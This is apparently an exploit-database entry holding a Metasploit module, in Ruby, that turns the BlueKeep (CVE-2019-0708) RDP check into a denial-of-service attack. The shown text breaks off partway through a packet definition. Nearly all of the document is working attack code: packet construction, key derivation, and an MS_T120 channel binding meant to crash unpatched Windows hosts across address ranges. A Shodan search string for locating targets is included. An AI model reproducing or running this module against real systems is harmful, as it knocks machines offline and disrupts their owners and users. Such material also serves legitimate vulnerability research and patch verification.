Microsoft Windows Remote Desktop – ‘BlueKeep’ Denial of Service (Metasploit)

# Exploit Title: Bluekeep Denial of Service (metasploit module)

# Shodan Dork: port:3389

# Date: 07/14/2019

# Exploit Author: RAMELLA Sebastien (https://github.com/mekhalleh/)

# Vendor Homepage: https://microsoft.com

# Version: all affected RDP services by cve-2019-0708

# Tested on: Windows XP (32-bits) / Windows 7 (64-bits)

# CVE : 2019-0708

# I just modified the initial metasploit module for this vuln to produce a denial of service attack.

##

# This module requires Metasploit: http://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

class MetasploitModule < Msf::Auxiliary

Rank = NormalRanking

include Msf::Auxiliary::Dos

include Msf::Auxiliary::Scanner

include Msf::Exploit::Remote::Tcp

def initialize(info = {})

super(update_info(info,

'Name' => 'CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE',

'Description' => %q{

This module checks a range of hosts for the CVE-2019-0708 vulnerability

by binding the MS_T120 channel outside of its normal slot and sending

DoS packets.

},

'Author' =>

[

'National Cyber Security Centre', # Discovery

'JaGoTu', # Module

'zerosum0x0', # Module

'Tom Sellers', # TLS support and documented packets

'RAMELLA Sebastien' # Denial of service module

],

'References' =>

[

[ 'CVE', '2019-0708' ],

[ 'URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708' ]

],

'DisclosureDate' => '2019-05-14',

'License' => MSF_LICENSE,

'Notes' =>

{

'Stability' => [ CRASH_OS_DOWN ],

'AKA' => ['BlueKeep']

}

))

register_options(

[

OptAddress.new('RDP_CLIENT_IP', [ true, 'The client IPv4 address to report during connection', '192.168.0.100']),

OptString.new('RDP_CLIENT_NAME', [ false, 'The client computer name to report during connection', 'rdesktop']),

OptString.new('RDP_DOMAIN', [ false, 'The client domain name to report during connection', '']),

OptString.new('RDP_USER', [ false, 'The username to report during connection.']),

OptAddressRange.new("RHOSTS", [ true, 'Target address, address range or CIDR identifier']),

OptInt.new('RPORT', [true, 'The target TCP port on which the RDP protocol response', 3389])

]

)

end

# ------------------------------------------------------------------------- #

def bin_to_hex(s)

return(s.each_byte.map { | b | b.to_s(16).rjust(2, '0') }.join)

end

def bytes_to_bignum(bytesIn, order = "little")

bytes = bin_to_hex(bytesIn)

if(order == "little")

bytes = bytes.scan(/../).reverse.join('')

end

s = "0x" + bytes

return(s.to_i(16))

end

## https://www.ruby-forum.com/t/integer-to-byte-string-speed-improvements/67110

def int_to_bytestring(daInt, num_chars = nil)

unless(num_chars)

bits_needed = Math.log(daInt) / Math.log(2)

num_chars = (bits_needed / 8.0).ceil

end

if(pack_code = { 1 => 'C', 2 => 'S', 4 => 'L' }[ num_chars ])

[daInt].pack(pack_code)

else

a = (0..(num_chars)).map{ | i |

(( daInt >> i*8 ) & 0xFF ).chr

}.join

a[0..-2] # Seems legit lol!

end

def open_connection()

begin

connect()

sock.setsockopt(::Socket::IPPROTO_TCP, ::Socket::TCP_NODELAY, 1)

rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e

vprint_error("Connection error: #{e.message}")

return(false)

end

return(true)

end

def rsa_encrypt(bignum, rsexp, rsmod)

return((bignum ** rsexp) % rsmod)

end

# ------------------------------------------------------------------------- #

## Used to abruptly abort scanner for a given host.

class RdpCommunicationError < StandardError

end

## Define standard RDP constants.

class RDPConstants

PROTOCOL_RDP = 0

end

DEFAULT_CHANNELS_DEFS =

"\x04\x00\x00\x00" + # channelCount: 4

## Channels definitions consist of a name (8 bytes) and options flags

## (4 bytes). Names are up to 7 ANSI characters with null termination.

"\x72\x64\x70\x73\x6e\x64\x00\x00" + # rdpsnd

"\x0f\x00\x00\xc0" +

"\x63\x6c\x69\x70\x72\x64\x72\x00" + # cliprdr

"\x00\x00\xa0\xc0" +

"\x64\x72\x64\x79\x6e\x76\x63" + # drdynvc

"\x00\x00\x00\x80\xc0" +

"\x4d\x53\x5f\x54\x31\x32\x30" + # MS_T120

"\x00\x00\x00\x00\x00"

## Builds x.224 Data (DT) TPDU - Section 13.7

def rdp_build_data_tpdu(data)

tpkt_length = data.length + 7

"\x03\x00" + # TPKT Header version 03, reserved 0

[tpkt_length].pack("S>") + # TPKT length

"\x02\xf0" + # X.224 Data TPDU (2 bytes)

"\x80" + # X.224 End Of Transmission (0x80)

data

end

## Build the X.224 packet, encrypt with Standard RDP Security as needed.

## Default channel_id = 0x03eb = 1003.

def rdp_build_pkt(data, rc4enckey = nil, hmackey = nil, channel_id = "\x03\xeb", client_info = false, rdp_sec = true)

flags = 0

flags |= 0b1000 if(rdp_sec) # Set SEC_ENCRYPT

flags |= 0b1000000 if(client_info) # Set SEC_INFO_PKT

pdu = ""

## TS_SECURITY_HEADER - 2.2.8.1.1.2.1

## Send when the packet is encrypted w/ Standard RDP Security and in all Client Info PDUs.

if(client_info || rdp_sec)

pdu << [flags].pack("S<") # flags "\x48\x00" = SEC_INFO_PKT | SEC_ENCRYPT

pdu << "\x00\x00" # flagsHi

end

if(rdp_sec)

## Encrypt the payload with RDP Standard Encryption.

pdu << rdp_hmac(hmackey, data)[0..7]

pdu << rdp_rc4_crypt(rc4enckey, data)

else

pdu << data

end

user_data_len = pdu.length

udl_with_flag = 0x8000 | user_data_len

pkt = "\x64" # sendDataRequest

pkt << "\x00\x08" # intiator userId (TODO: for a functional client this isn't static)

pkt << channel_id # channelId

pkt << "\x70" # dataPriority

pkt << [udl_with_flag].pack("S>")

pkt << pdu

return(rdp_build_data_tpdu(pkt))

end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/73d01865-2eae-407f-9b2c-87e31daac471

## Share Control Header - TS_SHARECONTROLHEADER - 2.2.8.1.1.1.1

def rdp_build_share_control_header(type, data, channel_id = "\xf1\x03")

total_len = data.length + 6

return(

[total_len].pack("S<") + # totalLength - includes all headers

[type].pack("S<") + # pduType - flags 16 bit, unsigned

channel_id + # PDUSource: 0x03f1 = 1009

data

)

end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4b5d4c0d-a657-41e9-9c69-d58632f46d31

## Share Data Header - TS_SHAREDATAHEADER - 2.2.8.1.1.1.2

def rdp_build_share_data_header(type, data)

uncompressed_len = data.length + 4

return(

"\xea\x03\x01\x00" + # shareId: 66538

"\x00" + # pad1

"\x01" + # streamID: 1

[uncompressed_len].pack("S<") + # uncompressedLength - 16 bit, unsigned int

[type].pack("C") + # pduType2 - 8 bit, unsigned int - 2.2.8.1.1.2

"\x00" + # compressedType: 0

"\x00\x00" + # compressedLength: 0

data

)

end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/6c074267-1b32-4ceb-9496-2eb941a23e6b

## Virtual Channel PDU 2.2.6.1

def rdp_build_virtual_channel_pdu(flags, data)

data_len = data.length

return(

[data_len].pack("L<") + # length

[flags].pack("L<") + # flags

data

)

end

def rdp_calculate_rc4_keys(client_random, server_random)

## preMasterSecret = First192Bits(ClientRandom) + First192Bits(ServerRandom).

preMasterSecret = client_random[0..23] + server_random[0..23]

## PreMasterHash(I) = SaltedHash(preMasterSecret, I)

## MasterSecret = PreMasterHash(0x41) + PreMasterHash(0x4242) + PreMasterHash(0x434343).

masterSecret = rdp_salted_hash(preMasterSecret, "A", client_random,server_random) + rdp_salted_hash(preMasterSecret, "BB", client_random, server_random) + rdp_salted_hash(preMasterSecret, "CCC", client_random, server_random)

## MasterHash(I) = SaltedHash(MasterSecret, I)

## SessionKeyBlob = MasterHash(0x58) + MasterHash(0x5959) + MasterHash(0x5A5A5A).

sessionKeyBlob = rdp_salted_hash(masterSecret, "X", client_random, server_random) + rdp_salted_hash(masterSecret, "YY", client_random, server_random) + rdp_salted_hash(masterSecret, "ZZZ", client_random, server_random)

## InitialClientDecryptKey128 = FinalHash(Second128Bits(SessionKeyBlob)).

initialClientDecryptKey128 = rdp_final_hash(sessionKeyBlob[16..31], client_random, server_random)

## InitialClientEncryptKey128 = FinalHash(Third128Bits(SessionKeyBlob)).

initialClientEncryptKey128 = rdp_final_hash(sessionKeyBlob[32..47], client_random, server_random)

macKey = sessionKeyBlob[0..15]

return initialClientEncryptKey128, initialClientDecryptKey128, macKey, sessionKeyBlob

end

def rdp_connection_initiation()

## Code to check if RDP is open or not.

vprint_status("Verifying RDP protocol...")

vprint_status("Attempting to connect using RDP security")

rdp_send(pdu_negotiation_request(datastore['RDP_USER'], RDPConstants::PROTOCOL_RDP))

received = sock.get_once(-1, 5)

## TODO: fix it.

if (received and received.include? "\x00\x12\x34\x00")

return(true)

end

return(false)

end

## FinalHash(K) = MD5(K + ClientRandom + ServerRandom).

def rdp_final_hash(k, client_random_bytes, server_random_bytes)

md5 = Digest::MD5.new

md5 << k

md5 << client_random_bytes

md5 << server_random_bytes

return([md5.hexdigest].pack("H*"))

end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/7c61b54e-f6cd-4819-a59a-daf200f6bf94

## mac_salt_key = "W\x13\xc58\x7f\xeb\xa9\x10*\x1e\xddV\x96\x8b[d"

## data_content = "\x12\x00\x17\x00\xef\x03\xea\x03\x02\x00\x00\x01\x04\x00$\x00\x00\x00"

## hmac = rdp_hmac(mac_salt_key, data_content) # hexlified: "22d5aeb486994a0c785dc929a2855923".

def rdp_hmac(mac_salt_key, data_content)

sha1 = Digest::SHA1.new

md5 = Digest::MD5.new

pad1 = "\x36" * 40

pad2 = "\x5c" * 48

sha1 << mac_salt_key

sha1 << pad1

sha1 << [data_content.length].pack('<L')

sha1 << data_content

md5 << mac_salt_key

md5 << pad2

md5 << [sha1.hexdigest].pack("H*")

return([md5.hexdigest].pack("H*"))

end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/927de44c-7fe8-4206-a14f-e5517dc24b1c

## Parse Server MCS Connect Response PUD - 2.2.1.4

def rdp_parse_connect_response(pkt)

ptr = 0

rdp_pkt = pkt[0x49..pkt.length]

while(ptr < rdp_pkt.length)

header_type = rdp_pkt[ptr..ptr + 1]

header_length = rdp_pkt[ptr + 2..ptr + 3].unpack("S<")[0]

# vprint_status("header: #{bin_to_hex(header_type)}, len: #{header_length}")

if(header_type == "\x02\x0c")

# vprint_status("Security header")

server_random = rdp_pkt[ptr + 20..ptr + 51]

public_exponent = rdp_pkt[ptr + 84..ptr + 87]

modulus = rdp_pkt[ptr + 88..ptr + 151]

# vprint_status("modulus_old: #{bin_to_hex(modulus)}")

rsa_magic = rdp_pkt[ptr + 68..ptr + 71]

if(rsa_magic != "RSA1")

print_error("Server cert isn't RSA, this scenario isn't supported (yet).")

raise RdpCommunicationError

end

# vprint_status("RSA magic: #{rsa_magic}")

bitlen = rdp_pkt[ptr + 72..ptr + 75].unpack("L<")[0] - 8

vprint_status("RSA #{bitlen}-bits")

modulus = rdp_pkt[ptr + 88..ptr + 87 + bitlen]

# vprint_status("modulus_new: #{bin_to_hex(modulus)}")

end

ptr += header_length

end

# vprint_status("SERVER_MODULUS: #{bin_to_hex(modulus)}")

# vprint_status("SERVER_EXPONENT: #{bin_to_hex(public_exponent)}")

# vprint_status("SERVER_RANDOM: #{bin_to_hex(server_random)}")

rsmod = bytes_to_bignum(modulus)

rsexp = bytes_to_bignum(public_exponent)

rsran = bytes_to_bignum(server_random)

vprint_status("MODULUS: #{bin_to_hex(modulus)} - #{rsmod.to_s}")

vprint_status("EXPONENT: #{bin_to_hex(public_exponent)} - #{rsexp.to_s}")

vprint_status("SVRANDOM: #{bin_to_hex(server_random)} - #{rsran.to_s}")

return rsmod, rsexp, rsran, server_random, bitlen

end

def rdp_rc4_crypt(rc4obj, data)

rc4obj.encrypt(data)

end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/705f9542-b0e3-48be-b9a5-cf2ee582607f

## SaltedHash(S, I) = MD5(S + SHA(I + S + ClientRandom + ServerRandom))

def rdp_salted_hash(s_bytes, i_bytes, client_random_bytes, server_random_bytes)

sha1 = Digest::SHA1.new

md5 = Digest::MD5.new

sha1 << i_bytes

sha1 << s_bytes

sha1 << client_random_bytes

sha1 << server_random_bytes

md5 << s_bytes

md5 << [sha1.hexdigest].pack("H*")

return([md5.hexdigest].pack("H*"))

end

def rdp_recv()

buffer_1 = sock.get_once(4, 5)

raise RdpCommunicationError unless buffer_1 # nil due to a timeout

buffer_2 = sock.get_once(buffer_1[2..4].unpack("S>")[0], 5)

raise RdpCommunicationError unless buffer_2 # nil due to a timeout

vprint_status("Received data: #{bin_to_hex(buffer_1 + buffer_2)}")

return(buffer_1 + buffer_2)

end

def rdp_send(data)

vprint_status("Send data: #{bin_to_hex(data)}")

sock.put(data)

end

def rdp_sendrecv(data)

rdp_send(data)

return(rdp_recv())

end

# ------------------------------------------------------------------------- #

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/18a27ef9-6f9a-4501-b000-94b1fe3c2c10

## Client X.224 Connect Request PDU - 2.2.1.1

def pdu_negotiation_request(user_name = "", requested_protocols = RDPConstants::PROTOCOL_RDP)

## Blank username is valid, nil is random.

user_name = Rex::Text.rand_text_alpha(12) if(user_name.nil?)

tpkt_len = user_name.length + 38

x224_len = user_name.length + 33

return(

"\x03\x00" + # TPKT Header version 03, reserved 0

[tpkt_len].pack("S>") + # TPKT length: 43

[x224_len].pack("C") + # X.224 LengthIndicator

"\xe0" + # X.224 Type: Connect Request

"\x00\x00" + # dst reference

"\x00\x00" + # src reference

"\x00" + # class and options

"\x43\x6f\x6f\x6b\x69\x65\x3a\x20\x6d\x73\x74\x73\x68\x61\x73\x68\x3d" + # cookie - literal 'Cookie: mstshash='

user_name + # Identifier "username"

"\x0d\x0a" + # cookie terminator

"\x01\x00" + # Type: RDP Negotiation Request (0x01)

"\x08\x00" + # Length

[requested_protocols].pack('L<') # requestedProtocols

)

end

# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/db6713ee-1c0e-4064-a3b3-0fac30b4037b

def pdu_connect_initial(selected_proto = RDPConstants::PROTOCOL_RDP, host_name = "rdesktop", channels_defs = DEFAULT_CHANNELS_DEFS)

## After negotiating TLS or NLA the connectInitial packet needs to include the

## protocol selection that the server indicated in its negotiation response.

## TODO: If this is pulled into an RDP library then the channel list likely

## needs to be build dynamically. For example, MS_T120 likely should only

## ever be sent as part of checks for CVE-2019-0708.

## build clientName - 12.2.1.3.2 Client Core Data (TS_UD_CS_CORE)

## 15 characters + null terminator, converted to unicode

## fixed length - 32 characters total

name_unicode = Rex::Text.to_unicode(host_name[0..14], type = 'utf-16le')

name_unicode += "\x00" * (32 - name_unicode.length)

pdu = "\x7f\x65" + # T.125 Connect-Initial (BER: Application 101)

"\x82\x01\xb2" + # Length (BER: Length)

"\x04\x01\x01" + # CallingDomainSelector: 1 (BER: OctetString)

"\x04\x01\x01" + # CalledDomainSelector: 1 (BER: OctetString)

"\x01\x01\xff" + # UpwaredFlag: True (BER: boolean)

## Connect-Initial: Target Parameters

"\x30\x19" + # TargetParamenters (BER: SequenceOf)

## *** not sure why the BER encoded Integers below have 2 byte values instead of one ***

"\x02\x01\x22\x02\x01\x02\x02\x01\x00\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\xff\xff\x02\x01\x02" +

## Connect-Intial: Minimum Parameters

"\x30\x19" + # MinimumParameters (BER: SequencOf)

"\x02\x01\x01\x02\x01\x01\x02\x01\x01\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\x04\x20\x02\x01\x02" +

## Connect-Initial: Maximum Parameters

"\x30\x1c" + # MaximumParameters (BER: SequencOf)

"\x02\x02\xff\xff\x02\x02\xfc\x17\x02\x02\xff\xff\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\xff\xff\x02\x01\x02" +

## Connect-Initial: UserData

"\x04\x82\x01\x51" + # UserData, length 337 (BER: OctetString)

## T.124 GCC Connection Data (ConnectData) - PER Encoding used

"\x00\x05" + # object length

"\x00\x14\x7c\x00\x01" + # object: OID 0.0.20.124.0.1 = Generic Conference Control

"\x81\x48" + # Length: ??? (Connect PDU)

"\x00\x08\x00\x10\x00\x01\xc0\x00" + # T.124 Connect PDU, Conference name 1

"\x44\x75\x63\x61" + # h221NonStandard: 'Duca' (client-to-server H.221 key)

"\x81\x3a" + # Length: ??? (T.124 UserData section)

## Client MCS Section - 2.2.1.3

"\x01\xc0" + # clientCoreData (TS_UD_CS_CORE) header - 2.2.1.3.2

"\xea\x00" + # Length: 234 (includes header)

"\x0a\x00\x08\x00" + # version: 8.1 (RDP 5.0 -> 8.1)

"\x80\x07" + # desktopWidth: 1920

"\x38\x04" + # desktopHeigth: 1080

"\x01\xca" + # colorDepth: 8 bpp

"\x03\xaa" + # SASSequence: 43523

"\x09\x04\x00\x00" + # keyboardLayout: 1033 (English US)

"\xee\x42\x00\x00" + # clientBuild: ????

[name_unicode].pack("a*") + # clientName

"\x04\x00\x00\x00" + # keyboardType: 4 (IBMEnhanced 101 or 102)

"\x00\x00\x00\x00" + # keyboadSubtype: 0

"\x0c\x00\x00\x00" + # keyboardFunctionKey: 12

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + # imeFileName (64 bytes)

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x01\xca" + # postBeta2ColorDepth: 8 bpp

"\x01\x00" + # clientProductID: 1

"\x00\x00\x00\x00" + # serialNumber: 0

"\x18\x00" + # highColorDepth: 24 bpp

"\x0f\x00" + # supportedColorDepths: flag (24 bpp | 16 bpp | 15 bpp)

"\xaf\x07" + # earlyCapabilityFlags

"\x62\x00\x63\x00\x37\x00\x38\x00\x65\x00\x66\x00\x36\x00\x33\x00" + # clientDigProductID (64 bytes)

"\x2d\x00\x39\x00\x64\x00\x33\x00\x33\x00\x2d\x00\x34\x00\x31\x00" +

"\x39\x38\x00\x38\x00\x2d\x00\x39\x00\x32\x00\x63\x00\x66\x00\x2d" +

"\x00\x00\x31\x00\x62\x00\x32\x00\x64\x00\x61\x00\x42\x42\x42\x42" +

"\x07" + # connectionType: 7

"\x00" + # pad1octet

## serverSelectedProtocol - After negotiating TLS or CredSSP this value

## must match the selectedProtocol value from the server's Negotiate

## Connection confirm PDU that was sent before encryption was started.

[selected_proto].pack('L<') + # "\x01\x00\x00\x00"

"\x56\x02\x00\x00" +

"\x50\x01\x00\x00" +

"\x00\x00" +

"\x64\x00\x00\x00" +

"\x04\xc0" + # clientClusterdata (TS_UD_CS_CLUSTER) header - 2.2.1.3.5

"\x0c\x00" + # Length: 12 (includes header)

"\x15\x00\x00\x00" + # flags (REDIRECTION_SUPPORTED | REDIRECTION_VERSION3)

"\x00\x00\x00\x00" + # RedirectedSessionID

"\x02\xc0" + # clientSecuritydata (TS_UD_CS_SEC) header - 2.2.1.3.3

"\x0c\x00" + # Length: 12 (includes header)

"\x1b\x00\x00\x00" + # encryptionMethods: 3 (40 bit | 128 bit)

"\x00\x00\x00\x00" + # extEncryptionMethods (French locale only)

"\x03\xc0" + # clientNetworkData (TS_UD_CS_NET) - 2.2.1.3.4

"\x38\x00" + # Length: 56 (includes header)

channels_defs

## Fix. for packet modification.

## T.125 Connect-Initial

size_1 = [pdu.length - 5].pack("s") # Length (BER: Length)

pdu[3] = size_1[1]

pdu[4] = size_1[0]

## Connect-Initial: UserData

size_2 = [pdu.length - 102].pack("s") # UserData, length (BER: OctetString)

pdu[100] = size_2[1]

pdu[101] = size_2[0]

## T.124 GCC Connection Data (ConnectData) - PER Encoding used

size_3 = [pdu.length - 111].pack("s") # Length (Connect PDU)

pdu[109] = "\x81"

pdu[110] = size_3[0]

size_4 = [pdu.length - 125].pack("s") # Length (T.124 UserData section)

pdu[123] = "\x81"

pdu[124] = size_4[0]

## Client MCS Section - 2.2.1.3

size_5 = [pdu.length - 383].pack("s") # Length (includes header)

pdu[385] = size_5[0]

rdp_build_data_tpdu(pdu)

end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/9cde84cd-5055-475a-ac8b-704db419b66f

## Client Security Exchange PDU - 2.2.1.10

def pdu_security_exchange(rcran, rsexp, rsmod, bitlen)

encrypted_rcran_bignum = rsa_encrypt(rcran, rsexp, rsmod)

encrypted_rcran = int_to_bytestring(encrypted_rcran_bignum)

bitlen += 8 # Pad with size of TS_SECURITY_PACKET header

userdata_length = 8 + bitlen

userdata_length_low = userdata_length & 0xFF

userdata_length_high = userdata_length / 256

flags = 0x80 | userdata_length_high

pdu = "\x64" + # T.125 sendDataRequest

"\x00\x08" + # intiator userId

"\x03\xeb" + # channelId = 1003

"\x70" + # dataPriority = high, segmentation = begin | end

[flags].pack("C") +

[userdata_length_low].pack("C") + # UserData length

# TS_SECURITY_PACKET - 2.2.1.10.1

"\x01\x00" + # securityHeader flags

"\x00\x00" + # securityHeader flagsHi

[bitlen].pack("L<") + # TS_ length

encrypted_rcran + # encryptedClientRandom - 64 bytes

"\x00\x00\x00\x00\x00\x00\x00\x00" # 8 bytes rear padding (always present)

return(rdp_build_data_tpdu(pdu))

end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/04c60697-0d9a-4afd-a0cd-2cc133151a9c

## Client MCS Erect Domain Request PDU - 2.2.1.5

def pdu_erect_domain_request()

pdu = "\x04" + # T.125 ErectDomainRequest

"\x01\x00" + # subHeight - length 1, value 0

"\x01\x00" # subInterval - length 1, value 0

return(rdp_build_data_tpdu(pdu))

end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/f5d6a541-9b36-4100-b78f-18710f39f247\

## Client MCS Attach User Request PDU - 2.2.1.6

def pdu_attach_user_request()

pdu = "\x28" # T.125 AttachUserRequest

return(rdp_build_data_tpdu(pdu))

end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/64564639-3b2d-4d2c-ae77-1105b4cc011b

## Client MCS Channel Join Request PDU -2.2.1.8

def pdu_channel_request(user1, channel_id)

pdu = "\x38" + [user1, channel_id].pack("nn") # T.125 ChannelJoinRequest

return(rdp_build_data_tpdu(pdu))

end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/772d618e-b7d6-4cd0-b735-fa08af558f9d

## TS_INFO_PACKET - 2.2.1.11.1.1

def pdu_client_info(user_name, domain_name = "", ip_address = "")

## Max. len for 4.0/6.0 servers is 44 bytes including terminator.

## Max. len for all other versions is 512 including terminator.

## We're going to limit to 44 (21 chars + null -> unicode) here.

## Blank username is valid, nil = random.

user_name = Rex::Text.rand_text_alpha(10) if user_name.nil?

user_unicode = Rex::Text.to_unicode(user_name[0..20], type = 'utf-16le')

uname_len = user_unicode.length

## Domain can can be, and for rdesktop typically is, empty.

## Max. len for 4.0/5.0 servers is 52 including terminator.

## Max. len for all other versions is 512 including terminator.

## We're going to limit to 52 (25 chars + null -> unicode) here.

domain_unicode = Rex::Text.to_unicode(domain_name[0..24], type = 'utf-16le')

domain_len = domain_unicode.length

## This address value is primarily used to reduce the fields by which this

## module can be fingerprinted. It doesn't show up in Windows logs.

## clientAddress + null terminator

ip_unicode = Rex::Text.to_unicode(ip_address, type = 'utf-16le') + "\x00\x00"

ip_len = ip_unicode.length

pdu = "\xa1\xa5\x09\x04" +

"\x09\x04\xbb\x47" + # CodePage

"\x03\x00\x00\x00" + # flags - INFO_MOUSE, INFO_DISABLECTRLALTDEL, INFO_UNICODE, INFO_MAXIMIZESHELL, INFO_ENABLEWINDOWSKEY

[domain_len].pack("S<") + # cbDomain (length value) - EXCLUDES null terminator

[uname_len].pack("S<") + # cbUserName (length value) - EXCLUDES null terminator

"\x00\x00" + # cbPassword (length value)

"\x00\x00" + # cbAlternateShell (length value)

"\x00\x00" + # cbWorkingDir (length value)

[domain_unicode].pack("a*") + # Domain

"\x00\x00" + # Domain null terminator, EXCLUDED from value of cbDomain

[user_unicode].pack("a*") + # UserName

"\x00\x00" + # UserName null terminator, EXCLUDED FROM value of cbUserName

"\x00\x00" + # Password - empty

"\x00\x00" + # AlternateShell - empty

## TS_EXTENDED_INFO_PACKET - 2.2.1.11.1.1.1

"\x02\x00" + # clientAddressFamily - AF_INET - FIXFIX - detect and set dynamically

[ip_len].pack("S<") + # cbClientAddress (length value) - INCLUDES terminator ... for reasons.

[ip_unicode].pack("a*") + # clientAddress (unicode + null terminator (unicode)

"\x3c\x00" + # cbClientDir (length value): 60

"\x43\x00\x3a\x00\x5c\x00\x57\x00\x49\x00\x4e\x00\x4e\x00\x54\x00" + # clientDir - 'C:\WINNT\System32\mstscax.dll' + null terminator

"\x5c\x00\x53\x00\x79\x00\x73\x00\x74\x00\x65\x00\x6d\x00\x33\x00" +

"\x32\x00\x5c\x00\x6d\x00\x73\x00\x74\x00\x73\x00\x63\x00\x61\x00" +

"\x78\x00\x2e\x00\x64\x00\x6c\x00\x6c\x00\x00\x00" +

## clientTimeZone - TS_TIME_ZONE struct - 172 bytes

## These are the default values for rdesktop

"\xa4\x01\x00\x00" + # Bias

## StandardName - 'GTB,normaltid'

"\x4d\x00\x6f\x00\x75\x00\x6e\x00\x74\x00\x61\x00\x69\x00\x6e\x00" +

"\x20\x00\x53\x00\x74\x00\x61\x00\x6e\x00\x64\x00\x61\x00\x72\x00" +

"\x64\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x0b\x00\x00\x00\x01\x00\x02\x00\x00\x00\x00\x00\x00\x00" + # StandardDate

"\x00\x00\x00\x00" + # StandardBias

## DaylightName - 'GTB,sommartid'

"\x4d\x00\x6f\x00\x75\x00\x6e\x00\x74\x00\x61\x00\x69\x00\x6e\x00" +

"\x20\x00\x44\x00\x61\x00\x79\x00\x6c\x00\x69\x00\x67\x00\x68\x00" +

"\x74\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x03\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\x00\x00" + # DaylightDate

"\xc4\xff\xff\xff" + # DaylightBias

"\x01\x00\x00\x00" + # clientSessionId

"\x06\x00\x00\x00" + # performanceFlags

"\x00\x00" + # cbAutoReconnectCookie

"\x64\x00\x00\x00"

return(pdu)

end

# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4e9722c3-ad83-43f5-af5a-529f73d88b48

# Confirm Active PDU Data - TS_CONFIRM_ACTIVE_PDU - 2.2.1.13.2.1

def pdu_client_confirm_active()

pdu = "\xea\x03\x01\x00" + # shareId: 66538

"\xea\x03" + # originatorId

"\x06\x00" + # lengthSourceDescriptor: 6

"\x3e\x02" + # lengthCombinedCapabilities: ???

"\x4d\x53\x54\x53\x43\x00" + # SourceDescriptor: 'MSTSC'

"\x17\x00" + # numberCapabilities: 23

"\x00\x00" + # pad2Octets

"\x01\x00" + # capabilitySetType: 1 - TS_GENERAL_CAPABILITYSET

"\x18\x00" + # lengthCapability: 24

"\x01\x00\x03\x00\x00\x02\x00\x00\x00\x00\x1d\x04\x00\x00\x00\x00" +

"\x00\x00\x00\x00" +

"\x02\x00" + # capabilitySetType: 2 - TS_BITMAP_CAPABILITYSET

"\x1c\x00" + # lengthCapability: 28

"\x20\x00\x01\x00\x01\x00\x01\x00\x80\x07\x38\x04\x00\x00\x01\x00" +

"\x01\x00\x00\x1a\x01\x00\x00\x00" +

"\x03\x00" + # capabilitySetType: 3 - TS_ORDER_CAPABILITYSET

"\x58\x00" + # lengthCapability: 88

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x01\x00\x14\x00\x00\x00\x01\x00\x00\x00\xaa\x00" +

"\x01\x01\x01\x01\x01\x00\x00\x01\x01\x01\x00\x01\x00\x00\x00\x01" +

"\x01\x01\x01\x01\x01\x01\x01\x00\x01\x01\x01\x00\x00\x00\x00\x00" +

"\xa1\x06\x06\x00\x00\x00\x00\x00\x00\x84\x03\x00\x00\x00\x00\x00" +

"\xe4\x04\x00\x00\x13\x00\x28\x00\x03\x00\x00\x03\x78\x00\x00\x00" +

"\x78\x00\x00\x00\xfc\x09\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x0a\x00" + # capabilitySetType: 10 - ??

"\x08\x00" + # lengthCapability: 8

"\x06\x00\x00\x00" +

"\x07\x00" + # capabilitySetType: 7 - TSWINDOWACTIVATION_CAPABILITYSET

"\x0c\x00" + # lengthCapability: 12

"\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x05\x00" + # capabilitySetType: 5 - TS_CONTROL_CAPABILITYSET

"\x0c\x00" + # lengthCapability: 12

"\x00\x00\x00\x00\x02\x00\x02\x00" +

"\x08\x00" + # capabilitySetType: 8 - TS_POINTER_CAPABILITYSET

"\x0a\x00" + # lengthCapability: 10

"\x01\x00\x14\x00\x15\x00" +

"\x09\x00" + # capabilitySetType: 9 - TS_SHARE_CAPABILITYSET

"\x08\x00" + # lengthCapability: 8

"\x00\x00\x00\x00" +

"\x0d\x00" + # capabilitySetType: 13 - TS_INPUT_CAPABILITYSET

"\x58\x00" + # lengthCapability: 88

"\x91\x00\x20\x00\x09\x04\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00" +

"\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

